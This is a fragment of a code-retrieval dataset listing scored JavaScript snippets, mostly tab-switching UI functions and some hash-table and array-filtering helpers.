slide\n\t\t\tduration: 300, // default 500\n\t\t\tanimationQueue: true\n\t\t});\n\n\t}\n}", "title": "" }, { "docid": "ec3a2c0e3073ac2d8bb5bd4b20b94298", "score": "0.62770987", "text": "function openTab(evt, tab) {\n var i, x, tablinks;\n\tx = document.getElementsByClassName(\"beamTabs\");\n\tfor (i = 0; i < x.length; i++) {\n x[i].style.display = \"none\";\n }\n tablinks = document.getElementsByClassName(\"tablink\");\n for (i = 0; i < tablinks.length; i++) {\n tablinks[i].className = tablinks[i].className.replace(\" w3-indigo\", \"\");\n }\n evt.currentTarget.className += \" w3-indigo\";\n\tdocument.getElementById(tab).style.display = \"block\";\n\tupdateDiagramGeometry();\n}", "title": "" }, { "docid": "d1d1e3f8e8fe4e28c8b90d9123a8bc70", "score": "0.62764513", "text": "renderTab(e) {\n\t\tthis.setState({\n\t\t\tcons:'', \n\t\t\tvowl:'', \n\t\t\ttabData: this.second.current.state.selected.data\n\t\t}, this.props.onClick); \n\t}", "title": "" }, { "docid": "fc4a51a43ddaabb4075d4116f2f99ce9", "score": "0.6271343", "text": "function openTab(e, tabName) {\n // Declare variables\n let i, tabcontent, btnTab;\n // Get all elements with class -tabcontent and hide them\n tabcontent = document.getElementsByClassName(\"tabcontent\");\n for (i = 0; i < tabcontent.length; i++) {\n tabcontent[i].style.display = \"none\";\n }\n\n // Get all elements with class btnTab and remove class active\n btnTab = document.getElementsByClassName(\"btn-tab\");\n for (i = 0; i < btnTab.length; i++) {\n btnTab[i].className = btnTab[i].className.replace(\" active\", \"\");\n }\n // Show the current tab and add active class to the button that opened tab\n document.getElementById(tabName).style.display = \"block\";\n e.currentTarget.className += \" active\";\n}", "title": "" }, { "docid": "2c15cfc754ba0f3d2334a78b0faa0cce", "score": "0.6258954", "text": "function selectTab() {\n var href = tab.href.split('#')[1];\n var panel = layout._content.querySelector('#' + href);\n layout._resetTabState(tabs);\n layout._resetPanelState(panels);\n addClass(tab, layout._CssClasses.IS_ACTIVE);\n addClass(panel, layout._CssClasses.IS_ACTIVE);\n }", "title": "" }, { "docid": "f6d27726a7e7cdcfd241a904ec8a7959", "score": "0.6258714", "text": "function selectTab() {\n var href = tab.href.split('#')[1];\n var panel = layout.content_.querySelector('#' + href);\n layout.resetTabState_(tabs);\n layout.resetPanelState_(panels);\n tab.classList.add(layout.CssClasses_.IS_ACTIVE);\n panel.classList.add(layout.CssClasses_.IS_ACTIVE);\n }", "title": "" }, { "docid": "f6d27726a7e7cdcfd241a904ec8a7959", "score": "0.6258714", "text": "function selectTab() {\n var href = tab.href.split('#')[1];\n var panel = layout.content_.querySelector('#' + href);\n layout.resetTabState_(tabs);\n layout.resetPanelState_(panels);\n tab.classList.add(layout.CssClasses_.IS_ACTIVE);\n panel.classList.add(layout.CssClasses_.IS_ACTIVE);\n }", "title": "" }, { "docid": "3dd1bd0275dc80c531a1836b764baab8", "score": "0.6255756", "text": "function selectTab() {\n //remove selected class\n $(\"#tab-bar button\").removeClass(\"selected\");\n $(event.currentTarget).addClass(\"selected\");\n}", "title": "" }, { "docid": "12ff9a23ef74d0224b1fc72fa2bc8421", "score": "0.6255641", "text": "function init() {\n browserAction.onClicked.addListener(closeTabsByPattern);\n}", "title": "" }, { "docid": "b494b95047ed86513b183029520b78e6", "score": "0.6254644", "text": "function triggletab() {\n $(\".tab\").each(function() {\n $(this).removeClass(\"active\");\n });\n }", "title": "" }, { "docid": "f10585ffb85c43f72ca5567691100051", "score": "0.6254379", "text": "function setDefault() {\n const containers = document.getElementsByClassName(\"tab\");\n\n for (let container of containers) {\n container.getElementsByTagName(\"button\").item(0).click()\n }\n}", "title": "" }, { "docid": "d740488c51e8873464c633be488d1419", "score": "0.6249887", "text": "function selectTab(ev, tabName)\n{\n if (prefs.debug)\n console.log(\"URL Link \" + tabName + \" selected\");\n\n // Set all buttons as non-current\n let tabContent = document.getElementsByClassName(\"tab-content\");\n for (let tab = 0; tab < tabContent.length; tab++)\n tabContent[tab].style.display = \"none\";\n\n // Hide all tabs\n let tabLinks = document.getElementsByClassName(\"tab-link\");\n for (let tab = 0; tab < tabLinks.length; tab++) {\n tabLinks[tab].className = tabLinks[tab].className.replace(/ active\\b/g, \"\");\n }\n\n // Show selected tab\n document.getElementById(tabName + \"-tab\").style.display = \"block\";\n\n // Flag active button\n ev.currentTarget.className += \" active\";\n}", "title": "" }, { "docid": "a548ea6a58a34befd28c3bd2ffd918e7", "score": "0.6247856", "text": "function tabs(evt, tabName) {\n var i, tabcontent, tablinks;\n tabcontent = document.getElementsByClassName(\"tabcontent\");\n for (i = 0; i < tabcontent.length; i++) {\n tabcontent[i].style.display = \"none\";\n }\n tablinks = document.getElementsByClassName(\"tablinks\");\n for (i = 0; i < tablinks.length; i++) {\n tablinks[i].className = tablinks[i].className.replace(\" active\", \"\");\n }\n document.getElementById(tabName).style.display = \"block\";\n evt.currentTarget.className += \" active\";\n document.getElementById(\"defaultOpen\").click();\n}", "title": "" }, { "docid": "25c622ffb343e420aacb901742a25416", "score": "0.6244272", "text": "function cp_tab_control() {\n\tvar tabs = [];\n\tvar tabContainers = [];\n\tjQuery('ul.tabnavig a').each(function() {\n\t\tif ( window.location.pathname.match(this.pathname) ) {\n\t\t\ttabs.push(this);\n\t\t\ttabContainers.push( jQuery(this.hash).get(0) );\n\t\t}\n\t});\n\n\t//hide all contrainers except execpt for the one from the URL hash or the first container\n\tif ( window.location.hash !== \"\" && window.location.hash.search('block') >= 0 ) {\n\t\tjQuery(tabContainers).hide().filter(window.location.hash).show();\n\t\t//detecting <a> tab using its \"href\" which should always equal the hash\n\t\tjQuery(tabs).filter( function(index) {\n\t\t\treturn ( jQuery(this).attr('href') === window.location.hash );\n\t\t}).addClass('selected');\n\t\tjQuery('html').scrollTop( jQuery(window.location.hash).parent().position().top );\n\t} else {\n\t\tjQuery(tabContainers).hide().filter(':first').show();\n\t\tjQuery(tabs).filter(':first').addClass('selected');\n\t}\n\n\tjQuery(tabs).click(function() {\n\t\t// hide all tabs\n\t\tjQuery(tabContainers).hide().filter(this.hash).fadeIn(100);\n\t\tjQuery(tabs).removeClass('selected');\n\t\tjQuery(this).addClass('selected');\n\t\treturn false;\n\t});\n}", "title": "" }, { "docid": "aae1d516f0b257e34688509860702d66", "score": "0.6243315", "text": "function pageTabs_helm_set(mode) {\n\n var defaultTab = \"\";\n\n if (mode === \"loanDetails\") {\n $(\"#RecentlyViewedTab_helm\").toggleClass(\"displayNone\", false);\n $(\"#LoanDetailsTab_helm\").toggleClass(\"displayNone\", false);\n $(\"#AuditTrackingTab_helm\").toggleClass(\"displayNone\", false);\n $(\"#AdvancedSearchTab_helm\").toggleClass(\"displayNone\", true);\n defaultTab = \"LoanDetailsTab_helm\";\n } else if (mode === \"search\") {\n $(\"#RecentlyViewedTab_helm\").toggleClass(\"displayNone\", false);\n $(\"#AdvancedSearchTab_helm\").toggleClass(\"displayNone\", false);\n $(\"#LoanDetailsTab_helm\").toggleClass(\"displayNone\", true);\n $(\"#AuditTrackingTab_helm\").toggleClass(\"displayNone\", true);\n defaultTab = \"AdvancedSearchTab_helm\";\n }\n else if (mode === \"recentlyViewedMinimized\") {\n //only show recently viewed tab and disable the tab selected appearance and give it a neutral look.\n $(\"#RecentlyViewedTab_helm\").toggleClass(\"displayNone\", false).toggleClass(\"ui-state-active\", false);\n $(\"#AdvancedSearchTab_helm\").toggleClass(\"displayNone\", true);\n $(\"#LoanDetailsTab_helm\").toggleClass(\"displayNone\", true);\n $(\"#AuditTrackingTab_helm\").toggleClass(\"displayNone\", true);\n }\n helm.ActiveTabId = defaultTab; //store the active tab in js property that will be accessible to other functions\n\n var $helmTabs = $(\"#Tabs_helm\");\n $helmTabs.tabs({\n // //active: Compass.Utils.jQueryTabs_GetTabIndex(defaultTab, \"Tabs_helm\"), //Activate Loan Details Tab\n // //beforeActivate: optimizeIE7Rendering,\n activate: jQueryTabs_TabSelect\n });\n\n //set active jquery page tab to helm default tab.\n var activeTabIndex = Compass.Utils.jQueryTabs_GetTabIndex(defaultTab, \"Tabs_helm\");\n $helmTabs.tabs({ active: activeTabIndex });\n $(\"#Tabs_HtmlList_helm\").toggleClass(\"displayNone\", false);\n \n // All Tab Content Area Div's had to be hidden initially otherwise\n // the screen would jumble around during rendering until the jquery \n // page tabs could be intialized. Unhide the tab content with this next line of code.\n $(\".jqPageTabsContent_helm\").toggleClass(\"displayNone\", false);\n }", "title": "" }, { "docid": "84acb92fcb7a86a9351ae91da4e5fd14", "score": "0.62414396", "text": "_init() {\n var _this = this;\n\n this.$element.attr({'role': 'tablist'});\n this.$tabTitles = this.$element.find(`.${this.options.linkClass}`);\n this.$tabContent = $(`[data-tabs-content=\"${this.$element[0].id}\"]`);\n\n this.$tabTitles.each(function(){\n var $elem = $(this),\n $link = $elem.find('a'),\n isActive = $elem.hasClass(`${_this.options.linkActiveClass}`),\n hash = $link[0].hash.slice(1),\n linkId = $link[0].id ? $link[0].id : `${hash}-label`,\n $tabContent = $(`#${hash}`);\n\n $elem.attr({'role': 'presentation'});\n\n $link.attr({\n 'role': 'tab',\n 'aria-controls': hash,\n 'aria-selected': isActive,\n 'id': linkId\n });\n\n $tabContent.attr({\n 'role': 'tabpanel',\n 'aria-hidden': !isActive,\n 'aria-labelledby': linkId\n });\n\n if(isActive && _this.options.autoFocus){\n $(window).load(function() {\n $('html, body').animate({ scrollTop: $elem.offset().top }, _this.options.deepLinkSmudgeDelay, () => {\n $link.focus();\n });\n });\n }\n });\n if(this.options.matchHeight) {\n var $images = this.$tabContent.find('img');\n\n if ($images.length) {\n Foundation.onImagesLoaded($images, this._setHeight.bind(this));\n } else {\n this._setHeight();\n }\n }\n\n //current context-bound function to open tabs on page load or history popstate\n this._checkDeepLink = () => {\n var anchor = window.location.hash;\n //need a hash and a relevant anchor in this tabset\n if(anchor.length) {\n var $link = this.$element.find('[href$=\"'+anchor+'\"]');\n if ($link.length) {\n this.selectTab($(anchor), true);\n\n //roll up a little to show the titles\n if (this.options.deepLinkSmudge) {\n var offset = this.$element.offset();\n $('html, body').animate({ scrollTop: offset.top }, this.options.deepLinkSmudgeDelay);\n }\n\n /**\n * Fires when the zplugin has deeplinked at pageload\n * @event Tabs#deeplink\n */\n this.$element.trigger('deeplink.zf.tabs', [$link, $(anchor)]);\n }\n }\n }\n\n //use browser to open a tab, if it exists in this tabset\n if (this.options.deepLink) {\n this._checkDeepLink();\n }\n\n this._events();\n }", "title": "" }, { "docid": "990ccefe9cf7ba52f01968c54e9ba9b3", "score": "0.62365913", "text": "function fv_flowplayer_media_browser_add_tab(tabId, tabText, tabOnClickCallback, tabAddedCallback, tabClickEventCallback) {\n if (!jQuery('#' + tabId).length) {\n var\n $router = jQuery('.media-router:visible'),\n $nativeTabs = $router.find('.media-menu-item:not(.artificial)'),\n $item = jQuery($nativeTabs[$nativeTabs.length - 1]).clone(),\n switchClicking = false;\n\n // remove active class\n $item.removeClass('active');\n\n // save assets loading function\n fv_flowplayer_browser_assets_loaders[tabId] = tabOnClickCallback;\n\n // this is a super-ugly hack to circumvent heavily complicated Backbone WP programming...\n // on our browser tab click, WP still thinks the last tab is actually still the active tab\n // and won't allow us to click on that same tab again to show it, so we'll have to programmatically\n // click another Backbone-created tab to update its internal pointers\n // TODO: study up on Backbone WP functionality and fix this hack by at least showing the correct Backbonw view!\n $nativeTabs.each(function() {\n var\n $e = jQuery(this),\n $prev = $e.prev(),\n $next = $e.next();\n\n // clickbaited is class name determining whether we've already\n // applied this hackish logic to tab clicks\n if (!$e.hasClass('clickbaited')) {\n $e.addClass('clickbaited');\n $e.on('click', function() {\n if (!switchClicking) {\n switchClicking = true;\n // find a tab that is native and is not our clicked tab and click on it\n if ($prev.length && !$prev.hasClass('artificial')) {\n $prev.click();\n } else {\n $next.click();\n }\n\n // then click back on our tab to activate it\n $e.click();\n switchClicking = false;\n }\n });\n }\n });\n\n $item\n .attr('id', tabId)\n .text(tabText)\n .addClass('artificial')\n .on('click', function() {\n // disable Choose button\n jQuery('.media-button-select').prop('disabled', 'disabled');\n $router.find('.media-menu-item.active').removeClass('active');\n jQuery(this).addClass('active');\n\n // execute tab click function\n if (typeof(tabClickEventCallback) == 'function' && !switchClicking) {\n tabClickEventCallback();\n }\n\n // store last clicked tab ID\n try {\n if (typeof(window.localStorage) == 'object') {\n localStorage.setItem('fv_player_last_tab_selected', tabId);\n }\n } catch(e) {}\n\n return tabOnClickCallback();\n });\n\n $router.append($item);\n\n // if we have a callback function to call once the tab has been added,\n // do it here\n if (typeof(tabAddedCallback) == 'function') {\n tabAddedCallback($item);\n }\n\n }\n \n // if this tab was the last active, make it active again\n try {\n if ( typeof window.localStorage == \"object\" && window.localStorage.fv_player_last_tab_selected && window.localStorage.fv_player_last_tab_selected == tabId ) {\n // do this async, so the browser has time to paint the UI\n // and change class of this tab to active on click\n setTimeout(function() {\n jQuery('#' + tabId).click();\n }, 500);\n }\n } catch(e) {}\n}", "title": "" }, { "docid": "56f1764340cc39cb2e887c52d30d9e03", "score": "0.62350893", "text": "enableTab() {\n this.setTabIndex(\"0\");\n this.rating.enableTab();\n }", "title": "" }, { "docid": "388d1d4746f424208ed6080bc3f12c3f", "score": "0.62339735", "text": "activateFirstTab() {\n this.activeTab = this.tabs[0];\n }", "title": "" }, { "docid": "e94890927864593112b6b98f4adb8b9c", "score": "0.62322503", "text": "function wireUpTabs() {\n var tabEl = document.getElementById('sidebar_switch');\n var children = tabEl.childNodes;\n\n // Each tab has a class corresponding of the id of its tab pane\n for (var i = 0, l = children.length; i < l; i += 1) {\n // Ignore text nodes\n if (children[i].nodeType !== 1) continue;\n children[i].addEventListener('click', function(c) {\n return function() { switchTab(c); };\n }(children[i].className));\n }\n}", "title": "" }, { "docid": "9c15c83d21a685911280e5bdb0610185", "score": "0.6225348", "text": "function onTab(cb) {\n\tvar innerPage = $('.inner-page');\n\tinnerPage.keydown(function(e){\n\t\tif (e.keyCode == 9) {\n\t\t\te.preventDefault();\n\t\t\tcb();\n\t\t}\n\t}) ;\n}", "title": "" }, { "docid": "a4f73521c8a325caa4329ea908e956fa", "score": "0.6220734", "text": "function tab(tab) {\n\tif ($.inArray(tab, availableTabs) == -1) {\n\t\tconsole.log(\"invalid tab. Please update your available tabs\");\n\t} else {\n\t\tvar arrayLength = availableTabs.length;\n\t\tfor (var i = 0; i < arrayLength; i++) {\n\t\t\t//maybe have problems where tab doesn't exist\n\t\t $(\"#\"+availableTabs[i] + 'Content').hide(); \n\t\t $(\"#\"+availableTabs[i] + 'Content').css({'class': ''});\n\t\t $(\"#\"+availableTabs[i]).css({'background': 'rgb(0, 45, 60)'});\n\t\t}\n\t\t$(\"#\" + tab + 'Content').show();\n\t\t$(\"#\" + tab + 'Content').css({'class': 'active'});\n\t\tactiveTab = tab;\n\t\t$(\"#\" + tab).css({'background': 'rgb(67, 153, 152)'});\n\t\tif ($.inArray(tab, loadedTabs) == -1) {\n\t\t\tloadTab(activeTab);\n\t\t}\n\t\tif (window.mobilecheck()) {\n\t\t\tlayoutMobileMasonry(activeTab + 'Grid');\n\t\t} else {\n\t\t\tlayoutMasonry(activeTab + 'Grid');\n\t\t}\n\t}\n}", "title": "" }, { "docid": "959fa6eb9b6f83ab1656ecabfe16ba9b", "score": "0.6211036", "text": "loadOneTab() { }", "title": "" }, { "docid": "2c099787a63b25f7df0230a4600b9c97", "score": "0.6210909", "text": "function opentab(evt, punNum) {\n // Declaring variables \n var i, tabContent, tablink;\n tabContent = document.getElementsByClassName(\"tabContent\");\n for (i = 0; i < tabContent.length; i++) {\n tabContent[i].style.display = \"none\";\n }\n tablink = document.getElementsByClassName(\"tablink\");\n for (i = 0; i < tablink.length; i++) {\n tablink[i].className = tablink[i].className.replace(\"active\", \"\")\n }\n\n document.getElementById(punNum).style.display = \"block\";\n evt.currentTarget.className += \" active\";\n}", "title": "" }, { "docid": "062d17067e1694618793b91eb2459cf8", "score": "0.6209086", "text": "function tabClick(e) {\n e.preventDefault();\n var t = $(this),\n n = t.attr(\"href\"),\n r = t.parents(\".widget\");\n t.parent().addClass(\"active\").siblings(\"li\").removeClass(\"active\"), r.find(\".widget-content\").hide(), $(n).show()\n}", "title": "" }, { "docid": "c59720ee486bfcc65c25826fbbf7bcb5", "score": "0.6204183", "text": "function setTabActive(tab){tabVisited[tab]=true;$(\"#\" + tab).removeClass(\"inactive\")}", "title": "" }, { "docid": "9d85a5ac567fa36a46a835f3e86317a5", "score": "0.6203272", "text": "function openTab(tid){\r\n\t$(\"#tabs-main .ui-tabs-panel\").addClass('ui-tabs-hide');\r\n\t$(\"#tabs\"+tid).removeClass('ui-tabs-hide');\r\n\t$(\"#tabs .ui-tabs-selected\").removeClass('ui-tabs-selected');\r\n\t$(\"#tabs .ui-state-active\").removeClass('ui-state-active');\r\n\t$(\"#li_\"+tid).addClass('ui-tabs-selected ui-state-active');\r\n\ttabVal=tid;\r\n}", "title": "" }, { "docid": "be453c54ed3473b486bfdc93910474f7", "score": "0.6193515", "text": "function tabClick (event) {\n let clickedTab = event.target;\n let activePane = get(`#${clickedTab.getAttribute(\"data-tab\")}`);\n\n // remove all active tab classes\n for (let i = 0; i < tabs.length; i++) {\n tabs[i].classList.remove('active');\n }\n\n // remove all active pane classes\n for (var i = 0; i < panes.length; i++) {\n panes[i].classList.remove('active');\n }\n\n // apply active classes on desired tab and pane\n clickedTab.classList.add('active');\n activePane.classList.add('active');\n }", "title": "" }, { "docid": "8115370bbbdffa00d49b0304dbd5f3b4", "score": "0.618839", "text": "function switchTab(tab) {\n\tif ($('#toyName'+currentTabNumber).val()!=='') {\n\t\tvar toyName = $('#toyName'+currentTabNumber).val();\n\t\tif (toyName.length >10) {\n\t\t\ttoyName = toyName.substring(0,10) + \"...\";\n\t\t}\n\t\t$('#tab-toy'+currentTabNumber).html('<button type=\"button\" class=\"close\" onClick=\"closeTab(event, this.parentNode.id)\">&times;</button>'\n\t\t\t+ ' <a href=\"#toy\" data-toggle=\"tab\"><strong>'+ toyName + '</strong></a>');\n\t}\n\n\tvar tabID = tab.split(\"-\")[1];\n\tcurrentTabNumber = tabID.substring(3);\n\t\t// Update tab label to toy name\n\t// Remove active state from all tab labels and assign clicked label to be new active tab\n\t$('.tab-label').attr('class', 'tab-label');\n\t$('#tab-'+tabID).attr('class', 'tab-label active');\n\t// Remove active state from all tab pages and assign clicked tab to be new active tab\n\t$('.tab-pane').attr('class', 'tab-pane');\n\t$('#content-'+tabID).attr('class', 'tab-pane active');\n\n\tcheckTabDisplay();\n}", "title": "" }, { "docid": "c3ce540109ee848196194fbd36e3ca5d", "score": "0.61783296", "text": "function setTabs(){\n\tjQuery(\"#tabs\").tabs();\n}", "title": "" }, { "docid": "52eae561821852020c8902f33d4f6a3c", "score": "0.61769295", "text": "function start(tab)\n{\n\t\n}", "title": "" }, { "docid": "4ea76fe5d64bb335bb6e820b94784157", "score": "0.61713004", "text": "function firstTab() {\n\n // Deselect current tab and correspondent tabpanel.\n deselectTab(currentEnabledTabs[currentTabIndex]);\n deselectTabpanel(document.getElementById(currentEnabledTabs[currentTabIndex].getAttribute('aria-controls')));\n\n // Select first tab and correspondent tabpanel.\n selectTab(currentEnabledTabs[0]);\n selectTabpanel(document.getElementById(currentEnabledTabs[0].getAttribute('aria-controls')));\n\n }// End: firstTab().", "title": "" }, { "docid": "590f6a036de048dfd19ec7a85570c58b", "score": "0.6165502", "text": "function buttonClicked(tab) {\n\n const extensionIndexUrl = `chrome-extension://${chrome.runtime.id}/index.html`;\n\n chrome.tabs.query({\n currentWindow: true\n }, tabsArray => {\n const extensionIndexTab = tabsArray.find(tab => tab.url === extensionIndexUrl);\n\n if (extensionIndexTab && !extensionIndexTab.active) {\n chrome.tabs.update(extensionIndexTab.id, {\n active: true\n });\n } else if (!extensionIndexTab) {\n chrome.tabs.create({\n url: 'index.html',\n pinned: true\n });\n }\n });\n}", "title": "" }, { "docid": "8e15e55914476dd6cf3289ef09140b42", "score": "0.61621225", "text": "function listenToEvents() {\n // only one tab list is allowed per page\n $('.tab-list').on('click', '.tab-control', function () {\n //var tab_id = $(this).attr('data-tab');\n var tab_id = $(this).data('tab');\n\n $('.tab-control').removeClass('active');\n $('.tab-panel').removeClass('active');\n\n $(this).addClass('active');\n $(\"#\" + tab_id).addClass('active');\n\n // Save active tab per category\n saveInSession('activetab', '', tab_id);\n })\n }", "title": "" }, { "docid": "8e10f1908dc479f479ee9e7979b00c94", "score": "0.6159208", "text": "handleTabSelect(tab) {\n this.setState({ tab });\n }", "title": "" }, { "docid": "02948b9f0985acdf502f011c955a2e71", "score": "0.6151873", "text": "function onSwitchTab()\n\t{\n\t\tvar idx = jQuery(this).index();\n\t\t_preferences.tab = parseInt(idx, 10);\n\n\t\tClient.loadFile(DB.INTERFACE_PATH + 'basic_interface/tab_itm_0'+ (idx+1) +'.bmp', function(data){\n\t\t\tCashShop.ui.find('.tabs').css('backgroundImage', 'url(' + data + ')');\n\t\t\t//requestFilter();\n\t\t});\n\t}", "title": "" }, { "docid": "e73b1dd9908475899b53bbfe56aeb8d9", "score": "0.6144278", "text": "clickExpertTipsTab(){\n this.expertTipsTab.waitForExist();\n this.expertTipsTab.click();\n }", "title": "" }, { "docid": "1d9290fa1e6e75a050669b890e48301a", "score": "0.6125699", "text": "function bindingWizardsTabs() {\n\n var bitcoinTab = $('.bitcoin-tab')\n var bitcoinContent = $('.bitcoin-content')\n\n var ethererumTab = $('.ethererum-tab')\n var ethererumContent = $('.ethererum-content')\n\n $('.tab-nav li').on('click', function () {\n if ($(this).hasClass('bitcoin-tab')) {\n bitcoinTab.addClass('active')\n bitcoinContent.addClass('active')\n\n ethererumTab.removeClass('active')\n ethererumContent.removeClass('active')\n }\n if ($(this).hasClass('ethererum-tab')) {\n bitcoinTab.removeClass('active')\n bitcoinContent.removeClass('active')\n\n ethererumTab.addClass('active')\n ethererumContent.addClass('active')\n }\n })\n\n}", "title": "" }, { "docid": "ff1866db6df666838c16b17fa173b9ef", "score": "0.61240196", "text": "function ckeInitTab(event, ui) {\n\tvar $t = ui.newTab; \n\tvar $a = $t.find('a'); \n\tif($a.hasClass('InputfieldCKEditor_init')) return;\n\tvar editorID = $a.attr('data-editorID');\n\tvar configName = $a.attr('data-configName');\n\tvar editor = CKEDITOR.replace(editorID, config[configName]);\n\tckeInitEvents(editor);\n\t$a.addClass('InputfieldCKEditor_init'); \n\tui.oldTab.find('a').addClass('InputfieldCKEditor_init'); // in case it was the starting one\n\tvar $editor = $(\"#\" + editorID);\n\t$editor.addClass('InputfieldCKEditorLoaded');\n}", "title": "" }, { "docid": "3fdff785ff725646a49f9973276ebd17", "score": "0.6119926", "text": "function bindEvents() {\n var tabs = that._elements[\"tab\"];\n if (tabs) {\n for (var i = 0; i < tabs.length; i++) {\n (function(index) {\n tabs[i].addEventListener(\"click\", function(event) {\n navigateAndFocusTab(index);\n });\n tabs[i].addEventListener(\"keydown\", function(event) {\n onKeyDown(event);\n });\n })(i);\n }\n }\n }", "title": "" }, { "docid": "3fdff785ff725646a49f9973276ebd17", "score": "0.6119926", "text": "function bindEvents() {\n var tabs = that._elements[\"tab\"];\n if (tabs) {\n for (var i = 0; i < tabs.length; i++) {\n (function(index) {\n tabs[i].addEventListener(\"click\", function(event) {\n navigateAndFocusTab(index);\n });\n tabs[i].addEventListener(\"keydown\", function(event) {\n onKeyDown(event);\n });\n })(i);\n }\n }\n }", "title": "" }, { "docid": "45c709152340c6368a874f8785d2866c", "score": "0.6117543", "text": "function activateTab($tab) {\n\t\tvar $activeTab = $tab.closest('dl').find('a.active'),\n\t\t\t\tcontentLocation = $tab.attr(\"href\") + 'Tab';\n\n\t\t//Make Tab Active\n\t\t$activeTab.removeClass('active');\n\t\t$tab.addClass('active');\n\n \t//Show Tab Content\n\t\t$(contentLocation).closest('.tabs-content').children('li').hide();\n\t\t$(contentLocation).css('display', 'block');\n\t}", "title": "" }, { "docid": "45c709152340c6368a874f8785d2866c", "score": "0.6117543", "text": "function activateTab($tab) {\n\t\tvar $activeTab = $tab.closest('dl').find('a.active'),\n\t\t\t\tcontentLocation = $tab.attr(\"href\") + 'Tab';\n\n\t\t//Make Tab Active\n\t\t$activeTab.removeClass('active');\n\t\t$tab.addClass('active');\n\n \t//Show Tab Content\n\t\t$(contentLocation).closest('.tabs-content').children('li').hide();\n\t\t$(contentLocation).css('display', 'block');\n\t}", "title": "" } ]
995a639fd4c81c24a3f3b1dabb28e769
return an array of values that match on a certain key
[ { "docid": "04949823f015095bac87986124ebfff5", "score": "0.5482019", "text": "function getValues(obj, key) {\n var objects = [];\n for (var i in obj) {\n if (!obj.hasOwnProperty(i)) continue;\n if (typeof obj[i] == 'object') {\n objects = objects.concat(getValues(obj[i], key));\n } else if (i == key) {\n objects.push(obj[i]);\n }\n }\n return objects;\n}", "title": "" } ]
[ { "docid": "6312bc593d58fe0e268b1e4ec082a85a", "score": "0.7105723", "text": "values() {\n let valArray = [];\n for (let i = 0; i < this.keyMap.length; i++) {\n if (this.keyMap[i]) {\n for (let j = 0; j < this.keyMap[i].length; j++) {\n if (!valArray.includes(this.keyMap[i][j][1])) {\n valArray.push(this.keyMap[i][j][1]);\n }\n }\n }\n }\n return valArray;\n }", "title": "" }, { "docid": "7f6dc4c6b73773b0e8f66a5936c1b6da", "score": "0.703809", "text": "values(){\n let valueArr = [];\n for(let i=0; i< this.keyMap.length; i++){\n if(this.keyMap[i]){\n for(let j =0; j< this.keyMap[i].length ; j++){\n if(!valueArr.includes(this.keyMap[i][j][1])){\n valueArr.push(this.keyMap[i][j][1]);}\n }\n }\n }\n return valueArr;\n }", "title": "" }, { "docid": "b23fb4aa15d38cff2016635964fbddfc", "score": "0.69295096", "text": "values() {\n let valuesResult = [];\n if (this.keyMap.length === 0) return undefined;\n for (let i = 0; i < this.keyMap.length; i++) {\n if (this.keyMap[i]) {\n for (let j = 0; j < this.keyMap[i].length; j++) {\n let eachValue = this.keyMap[i][j][1];\n if (!valuesResult.includes(eachValue)) {\n valuesResult.push(eachValue);\n }\n }\n }\n }\n return valuesResult;\n }", "title": "" }, { "docid": "42e0db2c3bb94b062477f1d106cd6164", "score": "0.68791", "text": "getAllByKeyValue(key, value) {\n let savedData = (this.localStorageGet() !== null) ? this.localStorageGet() : [];\n let result = [];\n\n for (let i = 0; i < savedData.length; i++) {\n if (savedData[i][key] === value) {\n result.push(savedData[i]);\n }\n }\n\n return result;\n }", "title": "" }, { "docid": "23f954f5a60fb567e47a1e389b30511d", "score": "0.6719616", "text": "values(){\n let valuesArr = [];\n for(let i =0; i < this.keyMap.length; i ++){\n if(this.keyMap[i]){\n for(let j = 0; j < this.keyMap[i].length; j++){\n //if the value doesn't already exist in the valuesArr, then include it. if there is already this value in the valuesArr, then don't include it \n if(!valuesArr.includes(this.keyMap[i][j][1])){\n valuesArr.push(this.keyMap[i][j][1])\n }\n }\n }\n }\n return valuesArr;\n }", "title": "" }, { "docid": "7aa5c68f386dccc21b284d4ae6fde04b", "score": "0.6521356", "text": "values() {\n const result = [];\n let pairs, currentPair;\n // iterate through the hash table\n for (let i = 0; i < this.keyValue.length; i++) {\n // store all the pairs at a given index\n pairs = this.keyValue[i];\n if (pairs) {\n // Iterate through all the pairs stored due to seperate chaining\n for (let j = 0; j < pairs.length; j++) {\n currentPair = pairs[j];\n // check if this 'value' isn't already added to 'result'\n if (result.indexOf(currentPair[1]) === -1) {\n result.push(currentPair[1]); // value is stored at the 1st index\n }\n }\n }\n }\n return result;\n }", "title": "" }, { "docid": "8167c9664b708c9048f0893d226e3f7d", "score": "0.6418913", "text": "function filter_by_value(array, key , value){\n let filtered_array = array.filter((each)=>{\n return each[key]=== value\n })\n return filtered_array\n}", "title": "" }, { "docid": "4cb43ede40d3a027e08fa8792af3dd11", "score": "0.6389059", "text": "values() {\n let valuesArray = [];\n\n // Loop through the array at that index\n for (let i = 0; i < this.keyMap.length; i++) {\n if (this.keyMap[i]) {\n for (let j = 0; j < this.keyMap[i].length; j++) {\n // Check if their is a duplicate value\n if (!valuesArray.includes(this.keyMap[i][j][1])) {\n valuesArray.push(this.keyMap[i][j][1]);\n }\n }\n }\n }\n\n return valuesArray;\n }", "title": "" }, { "docid": "486af5f0c83a1ca1a18aeb94e53ad3b3", "score": "0.6276506", "text": "function hasCertainValue(arr, key, searchValue) {\n\t\t return arr.every(function(val) {\n\t\t return val[key] === searchValue;\n\t\t });\n\t }", "title": "" }, { "docid": "7a3b9086b75fb292ef18d370ad3e6459", "score": "0.6227325", "text": "searchTags(value, keyList) {\n return this.state.posts.forEach(post => {\n if (post.tag_ids !== undefined) {\n post.tag_ids.forEach(tag => {\n if (value.includes(tag)) {\n keyList.push(post.key);\n }\n })\n }\n })\n }", "title": "" }, { "docid": "2e751f763207d649242c46b3b9680cd2", "score": "0.6203397", "text": "function getSpecificValues(objects, key) {\n var valueArray = []\n\n objects.forEach(function(object){\n valueArray.push(object[key])\n })\n\n return valueArray\n}", "title": "" }, { "docid": "82ba887f3833a32e38fc535e6ecdda07", "score": "0.6187583", "text": "_list( arr, value ){\n\n var list = [];\n arr.map( function( inst ){\n\n var key = inst[ value ] || 0;\n if ( list.indexOf( key ) < 0 ){\n list.push( key );\n }\n });\n\n // console.log('[ list ]', list)\n\n return list;\n }", "title": "" }, { "docid": "d1274280824911875e407a755b8f3b91", "score": "0.61829126", "text": "_filter( arr, key, value ){\n return arr.filter( function( i ){\n return i[ key ] === value;\n });\n }", "title": "" }, { "docid": "d19c331de069aa99fcac09db06aa8565", "score": "0.61609894", "text": "function findBy(key, val) { // 258\n return _items.filter(function(item) { // 259\n return item[key] === val; // 260\n }); // 261\n } // 262", "title": "" }, { "docid": 